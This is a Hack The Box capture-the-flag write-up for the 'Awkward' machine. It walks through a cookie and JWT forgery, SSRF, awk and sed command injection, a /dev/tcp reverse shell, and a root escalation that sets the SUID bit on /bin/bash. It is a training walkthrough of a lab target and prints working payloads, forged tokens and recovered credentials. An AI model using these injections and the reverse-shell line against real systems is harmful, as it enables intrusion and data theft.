Hackthebox Awkward Writeup

Dedsec

Dedsec / October 29, 2022

19 min read • ––– views

Description

Hackthebox released a new machine called awkward. On this machine, we got the web server where there is a JS file which gives us a route and manipulating the token gives access to the dashboard and also reveals the api endpoints which give the user info and ssrf through ssrf. We got the bean user. After that, abuse the sed command to get the www-data user, then to root abuse the mail command.

Nmap

nmap -sC -sV -oA nmap/result 10.10.11.185
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-28 22:01 CDT
Nmap scan report for hat-valley.htb (10.10.11.185)
Host is up (0.086s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 7254afbaf6e2835941b7cd611c2f418b (ECDSA)
|_  256 59365bba3c7821e326b37d23605aec38 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Hat Valley
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.72 seconds

Nmap tell us there are two open ports 22 ssh and 80 http and HTTP port redirect to http://hat-valley.htb/

Let's quickly add this in our /etc/hosts file.

cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       dedinfosec

10.10.11.185    hat-valley.htb
# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Port-80

Simple web page nothing interesting there

hackthebox

Checking the source code of the web page got the app.js file

hackthebox

The code inside app.js file is too messy, so I use online beautifier

Link : https://beautifier.io/

In the code found a useful link which goes to /hr page

{\n href: \"/hr\",\n    onClick: _cache[0] || (_cache[0] = function () {\n      return $options.logout && $options.logout.apply($options, arguments);\n    })\n  }

On the /hr page, it's required creads to login

hackthebox

But if we see the cookies of the website, there is a token which is set to guest

hackthebox

Let's change that to admin

hackthebox

After refreshing the page, we are inside the dashboard

hackthebox

But if you see there is a section for staff details which is empty and the status of the store is down

Let's check the network tab to find where they fetch this details

And we found two useful links

  • /api/staff-details
  • /api/store-status

hackthebox

Going over to /api/staff-details we got the error called jwt malformed

hackthebox

Let's delete the cookie and then see what error we got

hackthebox

Information Disclosure

After removing the cookie, we got the all user details as well as password for each user

hackthebox

I use crack station to crack that hashes because it's look like it is sha256 hash

and one of the hash is cracked

hackthebox

  • Creads for Christopher
    • username: christopher.jones
    • password: chris123 I log in with these creads in /hr page

hackthebox

And got the JWT token, let's try to crack the JWT secret

hackthebox

Cracking JWT Secret

I am using the official jwt2john python script

#!/usr/bin/env python3
import sys
from jwt.utils import base64url_decode
from binascii import hexlify


def jwt2john(jwt):
    """
    Convert signature from base64 to hex, and separate it from the data by a #
    so that John can parse it.
    """
    jwt_bytes = jwt.encode('ascii')
    parts = jwt_bytes.split(b'.')

    data = parts[0] + b'.' + parts[1]
    signature = hexlify(base64url_decode(parts[2]))

    return (data + b'#' + signature).decode('ascii')


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: %s JWT" % sys.argv[0])
    else:
        john = jwt2john(sys.argv[1])
        print(john)

Convert the token into john format

> python3 jwt2john.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjY3MDE3MTU3fQ.M5Yx5hMqtxf3hxrIJSjdLSdubkP6gFPtGzwsDDr7voI > jwt_hash
> john -w=/usr/share/wordlists/rockyou.txt jwt_hash

And got the secret of the JWT

hackthebox

  • Secret of JWT
    • 123beany123 I create the JWT token with the username which we found, but there is nothing on the /dashboard page

So let's move further with another api endpoint which we found /api/store-status

hackthebox

Server-side request forgery (SSRF)

The API endpoint is required a URL to check his status of that we can try SSRF on that

First, I try localhost URL with 80 port, and it is redirecting to http://hat-valley.htb/

http://hat-valley.htb/api/store-status?url="http://127.0.0.1:80" -> http://hat-valley.htb/

So it's conform that it is vulnerable to SSRF Now let's try to enumerate the ports which is running on the internal network

ffuf -w /opt/SecLists/Fuzzing/4-digits-0000-9999.txt -u 'http://hat-valley.htb/api/store-status?url="http://127.0.0.1:FUZZ"' -fs 0

And we got 3 ports running internally, let's check them one by one

hackthebox

8080 port require JavaScript to run

hackthebox

3002 port give us the all API endpoints routes as well as their source code

hackthebox

Local File Inclusion (LFI)

Found an endpoint which is vulnerable to LFI

The AWK command is vulnerable, now the box name make sense

app.get('/api/all-leave', (req, res) => {

  const user_token = req.cookies.token

  var authFailed = false

  var user = null

  if(user_token) {

    const decodedToken = jwt.verify(user_token, TOKEN_SECRET)

    if(!decodedToken.username) {

      authFailed = true

    }

    else {

      user = decodedToken.username

    }

  }

  if(authFailed) {

    return res.status(401).json({Error: "Invalid Token"})

  }

  if(!user) {

    return res.status(500).send("Invalid user")

  }

  const bad = [";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"]


  const badInUser = bad.some(char => user.includes(char));


  if(badInUser) {

    return res.status(500).send("Bad character detected.")

  }


  exec("awk '/" + user + "/' /var/www/private/leave_requests.csv", {encoding: 'binary', maxBuffer: 51200000}, (error, stdout, stderr) => {

    if(stdout) {

      return res.status(200).send(new Buffer(stdout, 'binary'));

    }

    if (error) {

      return res.status(500).send("Failed to retrieve leave requests")

    }

    if (stderr) {

      return res.status(500).send("Failed to retrieve leave requests")

    }

  })

})

The AWK command passing the user variable which has the decoded JWT token username value which we can change anything we want

Because we have the JWT token secret, and we can create the token with any username or any fields we want

user = decodedToken.username <----- using the jwt token username
exec("awk '/" + user + "/' /var/www/private/leave_requests.csv", {encoding: 'binary', maxBuffer: 51200000} <----- we can bypass this awk command

If we pass this as username /' /etc/passwd ' we got our desired output

user = /' /etc/passwd ' <------ our input
exec("awk '/" + user + "/' /var/www/private/leave_requests.csv") <----- process query
exec("awk '//' /etc/passwd '/' /var/www/private/leave_requests.csv", {encoding: 'binary', maxBuffer: 51200000} <----- this is how query looks like when executing

And we can try this in our own machine as shown in the picture

hackthebox

Let's go to jwt.io and generate the custom username token

hackthebox

And we got the /etc/passwd file

  • We got the 2 users
    • Bean
    • Christine
❯ curl http://hat-valley.htb/api/all-leave --header "Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ldGMvcGFzc3dkICciLCJpYXQiOjE2NjcwMTcxNTd9.HKWzL6o9CamyDt0S-bxQyrKYEqQha_tDr1SfgSLcX7s" | grep -i /bin/bash
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  3059  100  3059    0     0  13891      0 --:--:-- --:--:-- --:--:-- 13904
root:x:0:0:root:/root:/bin/bash
bean:x:1001:1001:,,,:/home/bean:/bin/bash
christine:x:1002:1002:,,,:/home/christine:/bin/bash

Let's check the christine ssh key

Username field look like this

{
  "username": "/' /home/christine/.ssh/id_rsa '",
  "iat": 1667017157
}

But we got no luck

❯ curl http://hat-valley.htb/api/all-leave --header "Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ob21lL2NocmlzdGluZS8uc3NoL2lkX3JzYSAnIiwiaWF0IjoxNjY3MDE3MTU3fQ.XIIB2-j3-Pxlwv9EHCfK1-GZ_y2qSt49JVJcZJYgcBY"
Failed to retrieve leave requests⏎

Let's check the bean user ssh key

{
  "username": "/' /home/bean/.ssh/id_rsa '",
  "iat": 1667017157
}

Still no luck

curl http://hat-valley.htb/api/all-leave --header "Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ob21lL2JlYW4vLnNzaC9pZF9yc2EgJyIsImlhdCI6MTY2NzAxNzE1N30.FwkQWpMsa_0zo2wJffpmJzD9qRYkF-_ESnFRlTDenRw"
Failed to retrieve leave requests⏎

Then I try to check the .bashrc file of bean user

{
  "username": "/' /home/bean/.bashrc '",
  "iat": 1667017157
}

And this time it's works

❯ curl http://hat-valley.htb/api/all-leave --header "Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ob21lL2JlYW4vLmJhc2hyYyAnIiwiaWF0IjoxNjY3MDE3MTU3fQ._Rmh6a1R5H3g8JBg0hZg19LibMyWC93ArEm6wsepCsY"
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
case $- in
    *i*) ;;
      *) return;;
esac

# don't put duplicate lines or lines starting with space in the history.
# See bash(1) for more options
HISTCONTROL=ignoreboth

# append to the history file, don't overwrite it
shopt -s histappend

# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
HISTSIZE=1000
HISTFILESIZE=2000

# check the window size after each command and, if necessary,
# update the values of LINES and COLUMNS.
shopt -s checkwinsize

# If set, the pattern "**" used in a pathname expansion context will
# match all files and zero or more directories and subdirectories.
#shopt -s globstar

# make less more friendly for non-text input files, see lesspipe(1)
[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"

# set variable identifying the chroot you work in (used in the prompt below)
if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then
    debian_chroot=$(cat /etc/debian_chroot)
fi

# set a fancy prompt (non-color, unless we know we "want" color)
case "$TERM" in
    xterm-color|*-256color) color_prompt=yes;;
esac

# uncomment for a colored prompt, if the terminal has the capability; turned
# off by default to not distract the user: the focus in a terminal window
# should be on the output of commands, not on the prompt
#force_color_prompt=yes

if [ -n "$force_color_prompt" ]; then
    if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
	# We have color support; assume it's compliant with Ecma-48
	# (ISO/IEC-6429). (Lack of such support is extremely rare, and such
	# a case would tend to support setf rather than setaf.)
	color_prompt=yes
    else
	color_prompt=
    fi
fi

if [ "$color_prompt" = yes ]; then
    PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
else
    PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
fi
unset color_prompt force_color_prompt

# If this is an xterm set the title to user@host:dir
case "$TERM" in
xterm*|rxvt*)
    PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"
    ;;
*)
    ;;
esac

# enable color support of ls and also add handy aliases
if [ -x /usr/bin/dircolors ]; then
    test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
    alias ls='ls --color=auto'
    #alias dir='dir --color=auto'
    #alias vdir='vdir --color=auto'

    alias grep='grep --color=auto'
    alias fgrep='fgrep --color=auto'
    alias egrep='egrep --color=auto'
fi

# colored GCC warnings and errors
#export GCC_COLORS='error=01;31:warning=01;35:note=01;36:caret=01;32:locus=01:quote=01'

# some more ls aliases
alias ll='ls -alF'
alias la='ls -A'
alias l='ls -CF'

# custom
alias backup_home='/bin/bash /home/bean/Documents/backup_home.sh'

# Add an "alert" alias for long running commands.  Use like so:
#   sleep 10; alert
alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'

# Alias definitions.
# You may want to put all your additions into a separate file like
# ~/.bash_aliases, instead of adding them here directly.
# See /usr/share/doc/bash-doc/examples in the bash-doc package.

if [ -f ~/.bash_aliases ]; then
    . ~/.bash_aliases
fi

# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
if ! shopt -oq posix; then
  if [ -f /usr/share/bash-completion/bash_completion ]; then
    . /usr/share/bash-completion/bash_completion
  elif [ -f /etc/bash_completion ]; then
    . /etc/bash_completion
  fi
fi

We got the backup script path, let's try to check that alias backup_home='/bin/bash /home/bean/Documents/backup_home.sh'

{
  "username": "/' /home/bean/Documents/backup_home.sh '",
  "iat": 1667017157
}

And got the bean_backup_final.tar.gz file path, let's get that file in our box

❯ curl http://hat-valley.htb/api/all-leave --header "Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ob21lL2JlYW4vRG9jdW1lbnRzL2JhY2t1cF9ob21lLnNoICciLCJpYXQiOjE2NjcwMTcxNTd9.VlrDv1eoNVp1iJvKChFGtN_2ptmLOGzPg9o26tsSHGk"
#!/bin/bash
mkdir /home/bean/Documents/backup_tmp
cd /home/bean
tar --exclude='.npm' --exclude='.cache' --exclude='.vscode' -czvf /home/bean/Documents/backup_tmp/bean_backup.tar.gz .
date > /home/bean/Documents/backup_tmp/time.txt
cd /home/bean/Documents/backup_tmp
tar -czvf /home/bean/Documents/backup/bean_backup_final.tar.gz .
rm -r /home/bean/Documents/backup_tmp

Path of the file is /home/bean/Documents/backup/bean_backup_final.tar.gz

{
  "username": "/' /home/bean/Documents/backup/bean_backup_final.tar.gz '",
  "iat": 1667017157
}

Save the output inside the bean_backup_final.zip file

❯ curl http://hat-valley.htb/api/all-leave --header "Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ob21lL2JlYW4vRG9jdW1lbnRzL2JhY2t1cC9iZWFuX2JhY2t1cF9maW5hbC50YXIuZ3ogJyIsImlhdCI6MTY2NzAxNzE1N30.0Rf75JtUz77mGO61T_NVG7_34fAJ_JckobQUBfbPeUw" --output bean_backup_final.zip

Extract that with file manager

hackthebox

hackthebox

hackthebox

And we got the home directory of bean user

❯ ls -al
total 188
drwxr-x--- 16 dedsec dedsec  4096 Sep 15 06:45 ./
drwxr-xr-x  3 dedsec dedsec  4096 Oct 22 23:13 ../
lrwxrwxrwx  1 dedsec dedsec     9 Sep 15 06:40 .bash_history -> /dev/null
-rw-r--r--  1 dedsec dedsec   220 Sep 15 06:34 .bash_logout
-rw-r--r--  1 dedsec dedsec  3847 Sep 15 06:45 .bashrc
-rw-r--r--  1 dedsec dedsec 40960 Oct 29 00:37 bean_backup_final
-rw-r--r--  1 dedsec dedsec 31716 Oct 29 00:37 bean_backup_final.zip
-rw-rw-r--  1 dedsec dedsec 32344 Sep 15 06:46 bean_backup.tar.gz
drwx------ 12 dedsec dedsec  4096 Sep 15 06:41 .config/
drwxr-xr-x  2 dedsec dedsec  4096 Sep 15 06:35 Desktop/
drwxr-xr-x  4 dedsec dedsec  4096 Sep 15 06:46 Documents/
drwxr-xr-x  2 dedsec dedsec  4096 Sep 15 06:35 Downloads/
drwx------  2 dedsec dedsec  4096 Sep 15 06:36 .gnupg/
-rw-r--r--  1 dedsec dedsec   609 Oct 28 23:44 jwt2john.py
-rw-r--r--  1 dedsec dedsec   169 Oct 28 23:48 jwt_hash
drwx------  3 dedsec dedsec  4096 Sep 15 06:35 .local/
drwxr-xr-x  2 dedsec dedsec  4096 Sep 15 06:35 Music/
drwxr-xr-x  2 dedsec dedsec  4096 Oct 22 23:14 nmap/
drwxr-xr-x  2 dedsec dedsec  4096 Sep 15 06:35 Pictures/
-rw-r--r--  1 dedsec dedsec   807 Sep 15 06:34 .profile
drwxr-xr-x  2 dedsec dedsec  4096 Sep 15 06:35 Public/
drwx------  3 dedsec dedsec  4096 Sep 15 06:35 snap/
drwx------  2 dedsec dedsec  4096 Sep 15 06:36 .ssh/
drwxr-xr-x  2 dedsec dedsec  4096 Sep 15 06:35 Templates/
drwxr-xr-x  2 dedsec dedsec  4096 Sep 15 06:35 Videos/

Found a password of bean user inside .config/xpad/content-DS1ZS1 

❯ cat .config/xpad/content-DS1ZS1 
TO DO:
- Get real hat prices / stock from Christine
- Implement more secure hashing mechanism for HR system
- Setup better confirmation message when adding item to cart
- Add support for item quantity > 1
- Implement checkout system

boldHR SYSTEM/bold
bean.hill
014mrbeanrules!#P

https://www.slac.stanford.edu/slac/www/resource/how-to-use/cgi-rexx/cgi-esc.html

boldMAKE SURE TO USE THIS EVERYWHERE ^^^/bold⏎
  • Creads of bean user
    • username: bean
    • password: 014mrbeanrules!#P Let's try to ssh in with that creads hackthebox

Privilege Escalation

I run the linpeas but nothing found there, so I check the /etc/hosts file and I found a new vhost called store.hat-valley.htb

bean@awkward:~$ cat /etc/hosts
127.0.0.1       localhost hat-valley.htb store.hat-valley.htb
127.0.0.1       awkward

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Let's add that in our /etc/hosts file and check what's running on that

But it's required username and password hackthebox

The website using nginx and the username and password prompt is coming from nginx because of .htaccess file which can usually be found inside /etc/nginx/conf.d/ directory

bean@awkward:~$ cat /etc/nginx/conf.d/.htpasswd 
admin:$apr1$lfvrwhqi$hd49MbBX3WNluMezyjWls1

Got the Username, but the password is not crackable so let's reuse the bean password on the prompt

  • Creads
    • username: admin
    • password: 014mrbeanrules!#P

And we successfully log in hackthebox

And also we have the source code of the website inside /var/www/store

bean@awkward:/var/www/store$ pwd
/var/www/store
bean@awkward:/var/www/store$ ls -al
total 104
drwxr-xr-x 9 root root  4096 Oct  6 01:35 .
drwxr-xr-x 7 root root  4096 Oct  6 01:35 ..
drwxrwxrwx 2 root root  4096 Oct  6 01:35 cart
-rwxr-xr-x 1 root root  3664 Sep 15 20:09 cart_actions.php
-rwxr-xr-x 1 root root 12140 Sep 15 20:09 cart.php
-rwxr-xr-x 1 root root  9143 Sep 15 20:09 checkout.php
drwxr-xr-x 2 root root  4096 Oct  6 01:35 css
drwxr-xr-x 2 root root  4096 Oct  6 01:35 fonts
drwxr-xr-x 6 root root  4096 Oct  6 01:35 img
-rwxr-xr-x 1 root root 14770 Sep 15 20:09 index.php
drwxr-xr-x 3 root root  4096 Oct  6 01:35 js
drwxrwxrwx 2 root root  4096 Oct 29 16:50 product-details
-rwxr-xr-x 1 root root   918 Sep 15 20:09 README.md
-rwxr-xr-x 1 root root 13731 Sep 15 20:09 shop.php
drwxr-xr-x 6 root root  4096 Oct  6 01:35 static
-rwxr-xr-x 1 root root   695 Sep 15 20:09 style.css

Reading the README.md will tell us about

  1. They don't use any database till now
  2. They're using the files to store data inside these directories
    • /product-details which store the details of the products
    • /cart which store the user items
  3. They verify their product with first header line which looks like ***Hat Valley Cart***
bean@awkward:/var/www/store$ cat README.md 
# Hat Valley - Shop Online!

### To Do
1. Waiting for SQL database to be setup, using offline files for now, will merge with database once it is setup
2. Implement checkout system, link with credit card system (Stripe??)
3. Implement shop filter
4. Get full catalogue of items

### How to Add New Catalogue Item
1. Copy an existing item from /product-details and paste it in the same folder, changing the name to reflect a new product ID
2. Change the fields to the appropriate values and save the file.  
-- NOTE: Please leave the header on first line! This is used to verify it as a valid Hat Valley product. --

### Hat Valley Cart
Right now, the user's cart is stored within /cart, and is named according to the user's session ID. All products are appended to the same file for each user.
To test cart functionality, create a new cart file and add items to it, and see how they are reflected on the store website!

Checking the cart_actions.php file

bean@awkward:/var/www/store$ cat cart_actions.php
<?php

$STORE_HOME = "/var/www/store/";

//check for valid hat valley store item
function checkValidItem($filename) {
    if(file_exists($filename)) {
        $first_line = file($filename)[0];
        if(strpos($first_line, "***Hat Valley") !== FALSE) {
            return true;
        }
    }
    return false;
}

//add to cart
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['action'] === 'add_item' && $_POST['item'] && $_POST['user']) {
    $item_id = $_POST['item'];
    $user_id = $_POST['user'];
    $bad_chars = array(";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"); //no hacking allowed!!

    foreach($bad_chars as $bad) {
        if(strpos($item_id, $bad) !== FALSE) {
            echo "Bad character detected!";
            exit;
        }
    }

    foreach($bad_chars as $bad) {
        if(strpos($user_id, $bad) !== FALSE) {
            echo "Bad character detected!";
            exit;
        }
    }

    if(checkValidItem("{$STORE_HOME}product-details/{$item_id}.txt")) {
        if(!file_exists("{$STORE_HOME}cart/{$user_id}")) {
            system("echo '***Hat Valley Cart***' > {$STORE_HOME}cart/{$user_id}");
        }
        system("head -2 {$STORE_HOME}product-details/{$item_id}.txt | tail -1 >> {$STORE_HOME}cart/{$user_id}");
        echo "Item added successfully!";
    }
    else {
        echo "Invalid item";
    }
    exit;
}

//delete from cart
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['action'] === 'delete_item' && $_POST['item'] && $_POST['user']) {
    $item_id = $_POST['item'];
    $user_id = $_POST['user'];
    $bad_chars = array(";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"); //no hacking allowed!!

    foreach($bad_chars as $bad) {
        if(strpos($item_id, $bad) !== FALSE) {
            echo "Bad character detected!";
            exit;
        }
    }

    foreach($bad_chars as $bad) {
        if(strpos($user_id, $bad) !== FALSE) {
            echo "Bad character detected!";
            exit;
        }
    }
    if(checkValidItem("{$STORE_HOME}cart/{$user_id}")) {
        system("sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}");
        echo "Item removed from cart";
    }
    else {
        echo "Invalid item";
    }
    exit;
}

//fetch from cart
if ($_SERVER['REQUEST_METHOD'] === 'GET' && $_GET['action'] === 'fetch_items' && $_GET['user']) {
    $html = "";
    $dir = scandir("{$STORE_HOME}cart");
    $files = array_slice($dir, 2);

    foreach($files as $file) {
        $user_id = substr($file, -18);
        if($user_id === $_GET['user'] && checkValidItem("{$STORE_HOME}cart/{$user_id}")) {
            $product_file = fopen("{$STORE_HOME}cart/{$file}", "r");
            $details = array();
            while (($line = fgets($product_file)) !== false) {
                if(str_replace(array("\r", "\n"), '', $line) !== "***Hat Valley Cart***") { //don't include first line
                    array_push($details, str_replace(array("\r", "\n"), '', $line));
                }
            }
            foreach($details as $cart_item) {
                 $cart_items = explode("&", $cart_item);
                 for($x = 0; $x < count($cart_items); $x++) {
                      $cart_items[$x] = explode("=", $cart_items[$x]); //key and value as separate values in subarray
                 }
                 $html .= "<tr><td>{$cart_items[1][1]}</td><td>{$cart_items[2][1]}</td><td>{$cart_items[3][1]}</td><td><button data-id={$cart_items[0][1]} onclick=\"removeFromCart(this, localStorage.getItem('user'))\" class='remove-item'>Remove</button></td></tr>";
            }
        }
    }
    echo $html;
    exit;
}

?>

Remote Code Execution (RCE)

While checking the file, I notice this sed command to use to delete the cart file data, which we can use to get RCE

<?php
//delete from cart
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['action'] === 'delete_item' && $_POST['item'] && $_POST['user']) {
    $item_id = $_POST['item'];
    $user_id = $_POST['user'];
    $bad_chars = array(";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"); //no hacking allowed!!

    foreach($bad_chars as $bad) {
        if(strpos($item_id, $bad) !== FALSE) {
            echo "Bad character detected!";
            exit;
        }
    }

    foreach($bad_chars as $bad) {
        if(strpos($user_id, $bad) !== FALSE) {
            echo "Bad character detected!";
            exit;
        }
    }
    if(checkValidItem("{$STORE_HOME}cart/{$user_id}")) {
        system("sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}"); <----- we can abuse the sed command
        echo "Item removed from cart";
    }
    else {
        echo "Invalid item";
    }
    exit;
}
?>

Link : https://gtfobins.github.io/gtfobins/sed/

As you see in the GTFO bins, we use sed to execute our command, but they are using -n flag which run the command, but we can't use that because of the Bad character detected This loop will not allow us to get rev shell

$bad_chars = array(";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"); //no hacking allowed!!
foreach($bad_chars as $bad) {
	if(strpos($item_id, $bad) !== FALSE) {
		echo "Bad character detected!";
		exit;
	}
}

foreach($bad_chars as $bad) {
	if(strpos($user_id, $bad) !== FALSE) {
		echo "Bad character detected!";
		exit;
	}
}

So we can use -e flag which is given in the help of sed command, this allows us to pass the script where we can write our rev shell code

-e script, --expression=script add the script to the commands to be executed

So let's talk about how to abuse that sed command

  • First our input look like this ' -e "1e /tmp/shell.sh" /tmp/shell.sh '
  • Which will be replaced by $item_id
system("sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}");

After replacing it's look like this which close the SUFFIX and add a new flag -e which execute our script

$item_id = ' -e "1e /tmp/shell.sh" /tmp/shell.sh ' <----- our input
system("sed -i '/item_id=' -e "1e /tmp/shell.sh" /tmp/shell.sh '/d' {$STORE_HOME}cart/{$user_id}"); <----- this will be executed in the sed command

So let's prepare for that, first let's create the shell.sh file which give us rev shell

bean@awkward:~$ chmod +x /tmp/shell.sh
bean@awkward:~$ cat /tmp/shell.sh 
#!/bin/bash
bash -i >& /dev/tcp/10.10.XX.XX/9001 0>&1

After that, add a product in the cart hackthebox

Checking that product in the cart/ directory, where the file name is same as our userId which will generate randomly

bean@awkward:/var/www/store$ cat cart/c32c-8d49-752-e3d9 
***Hat Valley Cart***
item_id=1&item_name=Yellow Beanie&item_brand=Good Doggo&item_price=$39.90
  1. After that we need to remove the file because we can't edit that file
  2. Then create the same user ID file with same content but with one change which is our item_id parameter which execute our script Now you may ask why we need to add that content into cart file we just add that content while we're deleting the cart item inside burp suite

The answer is pretty simple, we want to do this extra step because it will check the item_id in the file. If this is the same as the user input item parameter, then it will move further. Otherwise, it gives us an error. That's the reason we want to take that extra step.

bean@awkward:/var/www/store$ rm -rf cart/c32c-8d49-752-e3d9 
bean@awkward:/var/www/store$ nano cart/c32c-8d49-752-e3d9
bean@awkward:/var/www/store$ cat cart/c32c-8d49-752-e3d9 
***Hat Valley Cart***
item_id=1' -e "1e /tmp/shell.sh" /tmp/shell.sh '&item_name=Yellow Beanie&item_brand=Good Doggo&item_price=$39.90

Before deleting the cart item, check your netcat is listening

❯ nc -nvlp 9001

Now click on delete and capture the request inside the burp hackthebox

Change the item parameter like this

item=1'+-e+"1e+/tmp/shell.sh"+/tmp/shell.sh+'&user=c32c-8d49-752-e3d9&action=delete_item

Send the request hackthebox

And we got the shell as www-data hackthebox

Now let's run pspy hackthebox

And we can see that inotifywait is monitoring a file called leave_requests.csv inside /var/www/private/ hackthebox

Let's add something in the file and see the behavior And we can see its using mail command with root privilege hackthebox

Link : https://gtfobins.github.io/gtfobins/mail/

GTFO bins give us the syntax which we can use to run commands with root privilege Let's create a file called priv.sh and add the content which will give the /bin/bash binary suid bit privilege

bean@awkward:/tmp$ nano priv.sh
bean@awkward:/tmp$ chmod +x priv.sh
bean@awkward:/tmp$ cat priv.sh 
#!/bin/bash
chmod +s /bin/bash

Add the --exec flag inside the leave_requests.csv file

www-data@awkward:~/private$ echo '" --exec="\!/tmp/priv.sh"' >> leave_requests.csv

And boom 🎉 we got the root.txt hackthebox

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